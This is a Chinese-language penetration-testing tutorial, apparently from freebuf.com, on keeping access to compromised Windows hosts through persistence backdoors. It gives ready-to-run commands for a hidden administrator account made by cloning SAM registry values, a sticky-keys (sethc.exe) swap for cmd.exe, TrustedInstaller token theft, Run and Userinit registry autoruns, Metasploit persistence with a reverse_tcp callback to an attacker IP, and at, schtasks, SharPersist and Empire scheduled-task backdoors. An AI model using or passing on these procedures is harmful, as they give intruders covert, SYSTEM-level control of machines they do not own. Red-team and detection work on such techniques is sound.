当我们在渗透过程中通过艰辛的努力终于获取了目标主机权限后,我们接下来要做的往往是在目标机器上创建一个后门来维持住我们所获得的权限,否则一旦目标密码被改变或者漏洞被修补,那么就会导致我们对服务器权限的丢失。有了后门,我们就可以进出内网如若无人之境,所以权限维持的重要性可见一斑。
Windows 操作系统常见持久性后门
下面,我们先介绍几种常见的 Windows 系统后门,包括Windows系统隐藏用户、Shift粘粘键后门、注册表后门、Windows 计划任务、Windows 新服务后门、WMI后门等等。
Windows系统隐藏账户
该方法是通过建立隐藏账户,制作系统用户远程控制后门,维持目标Windows系统权限。制作方法跟步骤如下:
(1)在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。
net user whoami$ Liu78963 /add net localgroup administrators whoami$ /add
如上图,我们已经创建成功,执行net user命令,发现是看不到whoami$用户的:
但是这就结束了吗,没有!虽然上面net user看不见该隐藏用户,但是在控制面板和计算机管理的本地用户和组中,仍然是可以看的到该用户的:
为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。
打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM
,单机右建,选择“权限”,把Administrator用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。
这样SAM下的文件就都能看见了。
然后,在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
处,点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录“000001F4”:
复制000001F4
目录中的F键的值:
然后找到与隐藏账户whoami$右边类型的键值“0x3e9”相同的目录名,也就是。
然后将000001F4
的F值粘贴到000003E9
的F值中,点击确定:
然后从注册表中右键导出000003E9
和whoami$,并删除whoami$用户 net user whoami$ /del:
此时,查看注册表以及本地用户和组或者控制面板,whoami$用户已经没有了:
最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中:
这样我们的隐藏账户whoami$就创建好了。现在,不管你是在命令提示符下输入 net user 或者在系统用户管理界面都是看不到whoami$这个账户的,只有在注册表中才能看得到。
Shift 粘滞键后门
如果你在电脑上连按五次shift键,你就会发现电脑屏幕上弹出了一个叫做“粘滞键”的程序:
即使在没有登录进系统之前,连按五次shift键也可以弹出这个程序:
思考一下,如果我们知道了这个程序的绝对路径,那么我们就可以将cmd.exe伪装成这个粘滞键程序,当我们连按五次shift键时,便会弹出一个CMD命令行窗口,那么我们就可以无需登录进系统便可以控制目标主机了。
粘滞键程序名称为“sethc.exe”,其路径为“c:\windows\system32\sethc.exe”。利用粘滞键做后门是一种比较常见的持续控制方法。其基本流程如下:
-
首先,我们手动或利用工具,找到sethc.exe将其删除或改名为sethc.exe.bak,接着将cmd.exe程序复制一个副本,并命名为“sethc.exe”。
-
最后,重启计算机再次按下5次Shift键时,就会弹出CMD界面,后门制作成功。
(1)手动制作
在目标主机上执行如下命令即可:
cd c:\windows\system32 move sethc.exe sethc.exe.bak // 将sethc.exe重命名 copy cmd.exe sethc.exe // 将一个cmd.exe副本保存伪装成sethc.exe
此时,我们打开目标主机的远程桌面,连续按下五次shift键,便可以看到目标主机屏幕上成功弹出了一个CMD窗口:
如上图,该cmd是以system权限运行的,接下来我们就可以无需知道登录密码,无需登录,直接对目标主机执行各种高权限的操作了,也完全可以新建一个高权限用户直接登录进入系统,是不是很有意思?
但是,先别高兴地太早了,在一些做了防护的主机上,即使是SYSTEM权限也是无法修改sethc.exe的:
只有TrustedInstaller权限才可以,这时,我们就要先模拟一个TrustedInstaller权限的令牌获取TrustedInstaller权限,然后再执行上述操作。我们的思路如下:
当我们启动TrustedInstaller服务时会启动进程TrustedInstaller.exe,该程序的权限为NT SERVICE\TrustedInstaller,那么我们就可以窃取该进程的令牌。
首先进入shell启动TrustedInstaller服务:
sc.exe start TrustedInstaller # 先进入shell启动TrustedInstaller服务
然后执行如下即可:
use incognito
ps # 找到TrustedInstaller的进程PID,这里为3476
steal_token <PID> # 从该进程中窃取令牌
getuid
此时便可以对sethc.exe进行任何操作了:
(2)Empire 下的利用
如果你觉得上面的手动操作比较复杂,你可以使用Empire的 lateral_movement/invoke_wmi_debugger模块自动完成以上操作。
该模块将为指定的目标(SETHC.exe、Utilman.exe、OSK.exe、DealActudi.exe或Max .exe)来设置调试器,使之成为选择的目标(即CMD.exe)或阶段程序。这类似于持久性/调试器模块,但具有远程执行而不是本地执行功能。
假设我们已经在Empire上面获得了目标主机的session,我们可以通过该模块在目标主机上设置粘滞键后门:
usemodule lateral_movement/invoke_wmi_debugger
set ComputerName <主机名/IP>
set TargetBinary sethc.exe
execute
如下图所示,我们成功在目标主机上安装了“粘滞键”后门:
注册表键后门
该方法是通过将需要执行的后门程序或者攻击脚本路径添加到注册表的自动启动项中,从而实现目标主机启动或登录时便会执行后门程序使我们获得其控制权限。
一般我们使用注册表的如下位置:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run // 开启时启动程序
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit // 登录时启动程序
(1)手动制作
首先我们制作一个metasploit后门:
将该后门程序上传到目标主机的C:\Windows\System32目录中:
然后在目标主机的meterpreter执行如下命令注册表进行操作制作后门:
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\windows\system32\backdoor.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v backdoor #查看键值
如上图所示,后门创建成功。此时我们重新开一个metasploit监听,然后输入“shutdown -r -t 0”命令让目标主机重启,当目标主机重新启动后便会启动执行backdoor.exe后门程序,我们攻击机的新开的metasploit监听上就会成功上线:
我们还可以操作注册表的Userinit键:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
让目标主机在用户进行登陆时,winlogon运行指定的后门程序。
除此之外还有以下可利用的注册表键:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce // 只会在开机时启动一次 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
(2)Metasploit 下的利用
Metasploit通过使用Meterpreter脚本和后渗透模块来支持通过注册表的持久性。Meterpreter脚本将以VBS脚本的形式创建一个有效payload,该payload将被上传到目标主机的磁盘上,并创建一个注册表项,该注册表项将在用户登录期间循环运行该有效负载。
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 192.168.52.129 run persistence -X -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 192.168.52.129
- -U指定启动方式为用户登录时自启动
- -X指定启动的方式为开机自启动
- -P 指定所使用的payload
- -i不断尝试反向连接的时间间隔,我们这里设置的是5秒钟执行一次
- –r指定攻击者的ip
- -p 指定攻击者监听的端口
如上图所示执行成功,生成后门后,只要目标主机重启或者登录,我们将在特定的时间间隔保持meterpreter会话了。
(3)Empire 下的利用
在Empire上面有一个persistence/userland/registry后渗透模块,可以自动帮我们完成上面手动创建注册表后门的任务。
假设我们已经在Empire上面获得了一个目标主机的session,我们可以通过设置该模块在目标主机上创建注册表后门:
usemodule persistence/userland/registry
set Listener <监听名>
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute
如下图所示,成功在目标主机上创建后门:
注意:杀毒软件针对此类注册表后门有专门的查杀机制。
Windows 计划任务后门
计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而使我们获得目标系统的控制权。计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。
(1)利用 at 命令
at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。
1. 首先在目标主机上传metasploit生成的后门程序:
2. 然后进入目标主机的shell使用net time命令确定目标主机的当前时间:
net time
3. 接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:
at 15:01:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe
如上图所示,计划任务创建成功,目标主机将在每个工作日的15:01:00执行后门程序,我们便可以在这个时间获得目标机器的控制权:
(2)利用 schtasks 命令
上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。
利用schtasks创建后门的大致流程如下:
1. 首先在目标主机上传metasploit生成的后门程序。
2. 然后在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:
schtasks /create /tn backdoor /sc minute /mo 1 /tr c:\windows\system32\backdoor.exe /ru system /f
然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session:
并且这个session还是system权限的。
(3)利用SharPersist工具
下载地址:https://github.com/fireeye/SharPersist/releases
https://github.com/fireeye/SharPersist
SharPersist的创建是为了帮助使用多种不同的技术在Windows操作系统上建立持久性。它是一个国外安全人员用C#编写的命令行工具,可以反射性的加载Cobalt Strike的“execute-assembly”命令或任何其他支持反射性加载.NET程序集的框架。SharPersist采用模块化设计,以便将来添加新的持久性技术。还有一些与tradecraft相关的项已经内置到该工具及其支持的持久性技术中,例如file time stomping策略和最小化或隐藏运行应用程序。
该工具支持的持久性技术有:
keepass
-keepass配置文件后门reg
-注册表项添加/修改schtaskbackdoor
-通过向后门计划任务添加其他操作来完成该任务startupfolder
-启动文件夹中的lnk文件tortoisesvn
-乌龟svn钩子脚本service
-创建新的Windows服务schtask
-创建新的计划任务
如果用户具有管理员级别的特权,则可以通过SharPersist工具创建一个新的计划任务,该任务将在Windows登录期间执行我们上传好的有效载荷。
1. 在目标主机上传我们新生成的metasploit木马和SharPersist程序:
2. 然后使用以下命令创建我们恶意的计划任务:
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Administrator\backdoor2.exe" -n "backdoor2" -m add -o logon
然后新开一个metasploit监听,等待目标主机重启后便可以收到目标主机的session,并且还是system权限的:
(4)Empire 下的利用
Windows计划任务后门我们可以用Empire上的persistence/elevated/schtasks后渗透模块在目标主机上进行设置。
来源:freebuf.com 2020-10-25 15:28:17 by: MrAnonymous
请登录后发表评论
注册